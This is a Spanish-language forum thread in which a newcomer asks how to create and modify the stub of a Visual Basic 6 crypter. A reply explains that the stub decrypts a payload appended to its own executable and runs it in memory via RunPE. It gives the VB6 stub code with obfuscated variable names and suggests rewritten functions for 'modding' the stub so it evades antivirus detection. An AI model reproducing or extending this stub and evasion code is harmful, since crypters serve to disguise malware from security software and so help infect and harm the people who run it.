Stub en VB 6

[Rama_04]

Hola comunidad. Quiero aclarar que soy nuevo en este tema y por eso estoy pidiendo una ayudita, por mas minima que sea sera muy bienvenida.

Hace 2 meses comence a leer sobre modding de Crypters y luego de leer muchos manuales y de informarme bastante pude crear mi propio Crypter en VB 6.

Ahora bien, al llegar a la parte del Stub tuve que copiar el codigo de un tutorial ya que busque en muchos foros y en Internet en general y no pude encontrar nada sobre como modificar un Stub o como crear uno.

Quisiera saber si alguien puede guiarme o decirme como crear un Stub y como modificarlo (siempre hablando de VB 6).

Desde ya muchisimas gracias.

[mhcruz]

Bueno, el stub es muy sencillo y te recomendare este tutorial:
http://indetectables.net/viewtopic.php?f=8&t=51265

en el cual aprenderas a crear tanto el stub como el cliente

solo tiene que comprender que el stub es lo que ejecuta el encryptado en memoria

y bueno el codigo consta de 5 lineas como mucho sin contar encryptacion y runpe

y solo decir que la encryptacion encrypta el archivo a ejecutar y el runpe lo ejecuta en memoria

y ya solo te queda el llamado main que simplemente cortara por un delimitador el archivo encryptado
de si mismo y lo des encryptara y ejecutara con el runpe

Un pequeño sub main:

Código [Seleccionar] Expandir

Sub Main()
Dim Ï»•Ø•¶™ As String
Dim ‰±»±»»¾() As String
Dim ™±¾±™•¯ As String
Dim ¢¾¾»€»Ï() As Byte
Open App.Path & "\" & App.EXEName & ".eXe" For Binary As #1
Ï»•Ø•¶™ = Space$(LOF(1))
Get #1, , Ï»•Ø•¶™
Close #1
‰±»±»»¾ = Split(Ï»•Ø•¶™ , "Delimitador")
™±¾±™•¯ = ENCRYPTACION(‰±»±»»¾(1), "PassDeEncryptacion")
¢¾¾»€»Ï = StrConv(™±¾±™•¯, vbFromUnicode)
CALL RUNPE(App.Path & "\" & App.EXEName & ".eXe", ¢¾¾»€»Ï)
End Sub

y ya que preguntas de como modear, de este sub main, lo puedes modear en un segundo cambiando:

App.Path & "\" & App.EXEName & ".eXe" por una alternativa por ej:

Código [Seleccionar] Expandir

Private Function Alternativa1() as string
dim a as string
dim b as string
dim c as string
dim d as string
a = app.path
b = app.exename
c = "\"
d = ".exe"

if app.path + "\" = app.path then
end
else
Alternativa1 = a+c+b+d
end function


y el Space$(LOF(1))
ese LOF por otra alternativa
como la de sLOF que encontraras por google

Un saludo, espero haber ayudado